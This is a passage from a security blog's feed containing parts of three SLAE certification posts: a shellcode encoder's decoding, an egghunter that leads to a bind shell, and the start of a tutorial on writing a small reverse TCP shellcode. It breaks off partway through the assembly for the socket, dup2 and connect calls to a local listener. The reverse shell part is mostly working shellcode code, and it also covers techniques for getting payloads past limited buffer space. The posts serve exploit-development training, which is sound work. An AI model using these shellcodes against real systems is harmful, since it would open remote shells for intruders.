style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-2fn14qLZrgE/Wni4sQAbslI/AAAAAAAAB6U/yf7rUHL3kNM2l3Trn7li0R6rDRi-e9NywCLcBGAs/s1600/Screenshot%2B2018-02-06%2B01.23.26.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-2fn14qLZrgE/Wni4sQAbslI/AAAAAAAAB6U/yf7rUHL3kNM2l3Trn7li0R6rDRi-e9NywCLcBGAs/s640/Screenshot%2B2018-02-06%2B01.23.26.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This is nothing but the original shellcode of /bin/sh program as we can see in the python encoder Yeepee! We have successfully decoded the entire shellcode with ease. We can name this encoder as RNX2 encoder as XOR-XOR-NOT-ROT operations are followed for encoding and ROT-NOT-XOR-XOR for decoding.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;All the files for this tutorial/ exercise are availiable at:&amp;nbsp;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-4&quot;&gt;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-4&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background-color: white; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/02/art-of-shellcoding-multicoder-shellcode.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-NpDLV3m96Zg/XZjZ_07uPrI/AAAAAAAAC1c/hG4_BAXmC_0__YKH-0VI7JekREOuvKvhQCLcBGAsYHQ/s72-c/shellcode-encoder.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-9037856147486462894</guid><pubDate>Tue, 16 Jan 2018 02:30:00 +0000</pubDate><atom:updated>2018-02-06T00:29:48.216+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">egghunter shellcode</category><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 3</category><title>Art of Shellcoding: Cracking Eggs with EggHunters</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-m_S-BXUNTGk/WlsSl6tY4AI/AAAAAAAAB1E/YAy0jNi-bvkR0WWqZpC13qYUJ46nSjbEwCLcBGAs/s1600/easter-egg-hunt-ideas-you-havent-thought-about.jpeg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1600&quot; height=&quot;180&quot; src=&quot;https://2.bp.blogspot.com/-m_S-BXUNTGk/WlsSl6tY4AI/AAAAAAAAB1E/YAy0jNi-bvkR0WWqZpC13qYUJ46nSjbEwCLcBGAs/s320/easter-egg-hunt-ideas-you-havent-thought-about.jpeg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Dear Readers, thank you for your overwhelming response to the previous post on reverse TCP shellcode. Last time, we wrote one of the smallest reverse TCP shellcodes of all time. This post advances onto an interesting concept called the Egg Hunter Shellcode. So, what is an egg hunter shellcode? For those interested in exploit development, they often come across a problem of limited space for the shellcode to execute. I remember the first exploit i wrote was a POC for &lt;a href=&quot;https://www.exploit-db.com/exploits/38687/&quot;&gt;SamSpade&lt;/a&gt; tool. Yeap, the good old samspade&amp;nbsp;which allows us to fingerprint the targets. I wanted to exploit the same, but space was limited. It was only 7-8 bytes of space, and no shellcode would fit into it. The same sort of problems is addressed by egg hunter shellcodes. This means small shellcodes would allow jumping to the more substantial shellcodes in memory. However, 7-8 bytes is still something which is always tough.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;Note: I created one of the smallest egghunter shellcode after i wrote this post and is published on exploit-db.com:&amp;nbsp;&lt;a href=&quot;https://www.exploit-db.com/exploits/43910/&quot;&gt;https://www.exploit-db.com/exploits/43910/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The beauty of an egghunter shellcode lies in the fact that you don&#39;t need to hardcode any addresses or calculate an exact offset to make a jump while executing the staged payload. In fact, its just a small program which will scan through the entire address space of the program and find a specific keyword, once the keyword is found, it directly jumps right next to it(start of the shellcode). We call this keyword an &quot;egg.&quot; So let&#39;s get started with our egghunter shellcode as follows:&lt;/div&gt;&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/a34f6c728d0aa1797f212437189a4ef2.js&quot;&gt;&lt;/script&gt; &lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As we can see that the first line of code is the for the page alignment in case, invalid regions of memory are encountered. Next, we just increment the value of ECX and validate this address using sigaction syscall, denoted by 0x43. We now issue the interrupt and compare the value returned by sigaction syscall in EAX to 0xf2 which is the lower bytes of EFAULT (Denotes Bad Addresses/ Invalid Addresses). This means that on every EFAULT, page alignment will happen since the Zero Flag gets set by the CMP instruction. However, if the memory region is valid, the jump to page alignment is not taken, and our EGG value which is 0x50905090 is moved to EAX register while our valid address is transferred to EDI from ECX. But why did we move from ECX to EDI? This is because we will be using&amp;nbsp; SCASD instruction which compares the string held at the address pointed to by the EDI register with the contents of EAX register [This is precisely where our egghunter hits the WORD version of the EGG if it finds it for the first time]. However, if it doesn&#39;t hit the egg[Denoted by ZF flag],&amp;nbsp; it jumps to increment the address and perform the same steps of the next valid memory region.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In cases where the first SCASD instruction sets the ZF flag, another SCASD instruction is followed, but why?&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This is because we have an 8-byte version of the EGG which means when the EGG 0x50905090 is compared, a correct match will occur on the following sequence of bytes which is &quot;\x90\x50\x90\x50\x90\x50\x90\x50&quot;. We use the 8-byte version of the EGG to provide a real uniqueness to the EGG. Coming back to why we used SCASD again, we used it because on the very first SCASD instruction, the SCASD instruction along with the comparison also increments the value of EDI by four and the next four bytes at EDI are nothing but the next half of the 8-byte EGG. The memory address in ECX completing both the SCASD operations successfully will yet again increment EDI by four which will bring us to the start of the shellcode. We merely have to jump to this address to execute our shellcode successfully.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let&#39;s see some action as follows:&lt;/div&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://4.bp.blogspot.com/-o_jjx240eJs/Wl0ZRvy6RvI/AAAAAAAAB1o/oSd4sYbJ3t8GzRChejMNxKtdj6IspONMACLcBGAs/s1600/Screenshot%2B2018-01-16%2B01.48.33.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://4.bp.blogspot.com/-o_jjx240eJs/Wl0ZRvy6RvI/AAAAAAAAB1o/oSd4sYbJ3t8GzRChejMNxKtdj6IspONMACLcBGAs/s640/Screenshot%2B2018-01-16%2B01.48.33.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Just Before Jumping to EDI&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As we can see from the above screenshot, right before jumping to the address pointed by EDI, Zero Flag was set (Due to SCASD and it also increments EDI by 4) and we are led to the shellcode by EDI. Examining the address in EDI, we have the following output:&lt;/div&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://2.bp.blogspot.com/-RxuvcRvBihU/Wl0aQOTNbWI/AAAAAAAAB10/1CCeY2tBeN8RTJcgVGdgxGNDjJPpAk_kQCLcBGAs/s1600/Screenshot%2B2018-01-16%2B01.51.29.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-RxuvcRvBihU/Wl0aQOTNbWI/AAAAAAAAB10/1CCeY2tBeN8RTJcgVGdgxGNDjJPpAk_kQCLcBGAs/s640/Screenshot%2B2018-01-16%2B01.51.29.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;116 Bytes starting at the address pointed to by EDI&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This is nothing but our shellcode ;) which will get executed and provide us with a beautiful looking bind shell when connected.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let&#39;s see the program in action as follows:&lt;/div&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-WMXostsYKn4/Wl0b1vATzDI/AAAAAAAAB2E/jUIiALRjPhEybrn8mHxbOBqIzQwyDEL1wCLcBGAs/s1600/Screenshot%2B2018-01-16%2B01.19.36.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;446&quot; data-original-width=&quot;895&quot; height=&quot;318&quot; src=&quot;https://3.bp.blogspot.com/-WMXostsYKn4/Wl0b1vATzDI/AAAAAAAAB2E/jUIiALRjPhEybrn8mHxbOBqIzQwyDEL1wCLcBGAs/s640/Screenshot%2B2018-01-16%2B01.19.36.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Egg Hunter in Action&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The Final code for the demo implementation of the shellcode is as follows:&lt;/div&gt;&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/nipunjaswal/468457010fb776f811e698c9c560d8eb.js&quot;&gt;&lt;/script&gt;&lt;span style=&quot;background-color: white; color: #222222; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; text-align: left;&quot;&gt;Files for this tutorial can be found at:&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #222222; font-family: &amp;quot;open sans&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 15px;&quot;&gt;&lt;a href=&quot;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-3&quot;&gt;https://github.com/nipunjaswal/slae-exam/tree/master/ASSGN-3&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br style=&quot;background-color: white; color: #222222; font-family: &amp;quot;Open Sans&amp;quot;, sans-serif; font-size: 15px; outline: 0px; text-align: left; transition: all 0.3s ease;&quot; /&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot; rel=&quot;nofollow&quot; style=&quot;background: 0px 0px; border: 0px; color: #f2132d; margin: 0px; outline: 0px; padding: 0px; text-decoration-line: none; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background: 0px 0px rgb(255 , 255 , 255); border: 0px; color: red; font-family: &amp;quot;open sans&amp;quot; , sans-serif; font-size: 15px; margin: 0px; outline: 0px; padding: 0px; text-align: left; transition: all 0.3s ease; vertical-align: baseline;&quot;&gt;Student-ID: SLAE-1080&lt;/span&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2018/01/art-of-shellcoding-cracking-eggs-with-egghunters.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-m_S-BXUNTGk/WlsSl6tY4AI/AAAAAAAAB1E/YAy0jNi-bvkR0WWqZpC13qYUJ46nSjbEwCLcBGAs/s72-c/easter-egg-hunt-ideas-you-havent-thought-about.jpeg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5363363640168782635</guid><pubDate>Fri, 05 Jan 2018 14:55:00 +0000</pubDate><atom:updated>2018-01-14T00:29:20.525+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">slae</category><category domain="http://www.blogger.com/atom/ns#">slae assignment 2</category><title>Art of Shellcoding:  Tale of the Smallest Reverse TCP Shellcode</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-24nh__UNnTg/Wk6RW0xQ8XI/AAAAAAAABzU/09KIwSr9ZQEt98HtUm83hU1fm9y2VTj8gCLcBGAs/s1600/eyechangedlogogreen.png&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1190&quot; data-original-width=&quot;1065&quot; height=&quot;320&quot; src=&quot;https://3.bp.blogspot.com/-24nh__UNnTg/Wk6RW0xQ8XI/AAAAAAAABzU/09KIwSr9ZQEt98HtUm83hU1fm9y2VTj8gCLcBGAs/s320/eyechangedlogogreen.png&quot; width=&quot;281&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Modern Ninja :)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Hey Folks, Hope you guys are doing great. In the previous article, we saw how we can create a bind TCP shellcode, reduce its enormous length from &lt;b&gt;108&lt;/b&gt; bytes to merely &lt;b&gt;80&lt;/b&gt; bytes by making use of strategically placed instructions, register re-use, single byte instructions and much more. We also saw how we can create a wrapper in python which will help us modify the shellcode and make it usable for any port of choice.&lt;br /&gt;In this article, we will discuss how we can create a reverse TCP shellcode. In case you missed my previous post, &lt;a href=&quot;http://www.nipunjaswal.com/2018/01/the-saga-of-bind-tcp.html&quot;&gt;click here&lt;/a&gt; to read it first since this post builds heavily on the mechanisms discussed in the last post.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Our Agenda for this exercise is to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Build a Null Free TCP reverse shellcode&lt;/li&gt;&lt;li&gt;Write a wrapper that can update IP address and port in the shellcode&lt;/li&gt;&lt;li&gt;Write an efficient and small shellcode&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;Note: On this day (Friday, Jan 5, 2018, 1:28 AM IST) The shellcode we created in this post is the smallest Null -Free and Register Pollution Free /bin/sh shellcode (checked on exploit-db.com), Not counting ( Register Pollution based Shellcodes, Netcat Reverse Shells)&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;Update: The Shellcode has been accepted by Exploit-DB and can be found at&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.exploit-db.com/exploits/43433/&quot;&gt;https://www.exploit-db.com/exploits/43433/&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;div dir=&quot;ltr&quot; lang=&quot;de&quot;&gt;[shellcode] Linux/x86 - Reverse TCP Shell (127.1.1.1:8888/TCP) Shellcode (69 bytes) &lt;a href=&quot;https://t.co/a8OWh1glPG&quot;&gt;https://t.co/a8OWh1glPG&lt;/a&gt;&lt;/div&gt;— Exploit Database (@ExploitDB) &lt;a href=&quot;https://twitter.com/ExploitDB/status/949231418843971585?ref_src=twsrc%5Etfw&quot;&gt;January 5, 2018&lt;/a&gt;&lt;/blockquote&gt;&lt;script async=&quot;&quot; charset=&quot;utf-8&quot; src=&quot;https://platform.twitter.com/widgets.js&quot;&gt;&lt;/script&gt;&lt;/center&gt;So, let&#39;s quickly generate a linux/x86/shell_reverse_tcp using msfvenom and feed it to libemu as shown on the following screen:&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://3.bp.blogspot.com/-rglYC4fdznM/Wk53q5y2EQI/AAAAAAAABy4/SsgoQU0MQsMMSxD36lmgjERHRVgE6qUaQCLcBGAs/s1600/Screenshot%2B2018-01-02%2B16.00.25.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;900&quot; data-original-width=&quot;1440&quot; height=&quot;400&quot; src=&quot;https://3.bp.blogspot.com/-rglYC4fdznM/Wk53q5y2EQI/AAAAAAAABy4/SsgoQU0MQsMMSxD36lmgjERHRVgE6qUaQCLcBGAs/s640/Screenshot%2B2018-01-02%2B16.00.25.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Libemu Analysis of the Reverse Shell TCP&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;We can see that we have primarily four system calls that will come handy for creating shellcode for reverse TCP which are: &lt;b&gt;socket, dup2, connect&lt;/b&gt; and &lt;b&gt;execve&lt;/b&gt;. The main change in this shellcode is that instead of having system calls like &lt;b&gt;bind, accept and listen&lt;/b&gt;, we have connect system call only. This makes our work reasonably comfortable as the only change required is to place the connect system call instead of all the three discussed above. So let&#39;s get started. However, we will try to write a much more efficient and space friendly code this time. The first call is SYS_SOCKET, let&#39;s set it up as shown on the following screen:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;xor ebx,ebx ; Clearing out EBX&lt;br /&gt;push ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Pushing 0 onto the stack i.e. Value of EBX ---&amp;gt; IP_PROTO&lt;br /&gt;inc ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Increment EBX to 1&amp;nbsp; ---&amp;gt; SYS_SOCKET&lt;br /&gt;push ebx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Push 1 onto the stack ---&amp;gt; SOCK_STREAM&lt;br /&gt;push 0x2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Push 2 onto the stack ---&amp;gt; AF_INET (domain: Internet)&lt;br /&gt;mov ecx, esp ; Move the pointer to ECX, which will point to {2,1,0}&lt;br /&gt;push 0x66&amp;nbsp;&amp;nbsp; ; SOCKETCALL&lt;br /&gt;pop eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;&amp;nbsp; SOCKETCALL --&amp;gt; EAX&lt;br /&gt;int 0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Interrupt ( EAX=&amp;gt; 0x66 EBX=0x1 ECX =&amp;gt; {2,1,0}&lt;/blockquote&gt;Similar to the bind shell, we setup SYS_SOCKET as shown above. We can see we have DUP2 as the next system call which is being called thrice. Hence, let&#39;s set it up as follow:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;xchg ebx,eax ; The resultant sockfd value from the previous call is moved to EBX&lt;br /&gt;pop ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Top of the stack contains 2 pushed in the previous call, we load it to ECX&lt;br /&gt;loop:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Loop Begins&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov al,0x3f ; Moving DUP2 call to EAX&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 0x80&amp;nbsp; ; Interrupt&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dec ecx&amp;nbsp;&amp;nbsp; ; Decreasing ECX&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jns loop&amp;nbsp; ; Loop until SF Not Set&lt;/blockquote&gt;The above set of instructions will loop until the value of ECX becomes zero and SF Flag is set.&amp;nbsp; Next, We have the core system call of this shellcode which will connect to the listeners IP address on the specified port. Let&#39;s set up the connect system call as follows:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&amp;nbsp; &lt;br /&gt;push 0x101017f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; IP Address 127.1.1.1&lt;br /&gt;push word 0xb822&amp;nbsp; ; Port 8888&amp;nbsp; (DWORD would have caused a NULL Byte)&lt;br /&gt;push word 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; AF_INET&amp;nbsp; (Null Byte in AF_INET: 0002)&lt;br /&gt;mov ecx,esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ; Pointer 1 to {b8220002,0101017f) &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;mov al,0x66&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; SOCKETCALL&lt;br /&gt;push eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; We push 66 as length (Clearing EAX not required)&lt;br /&gt;push 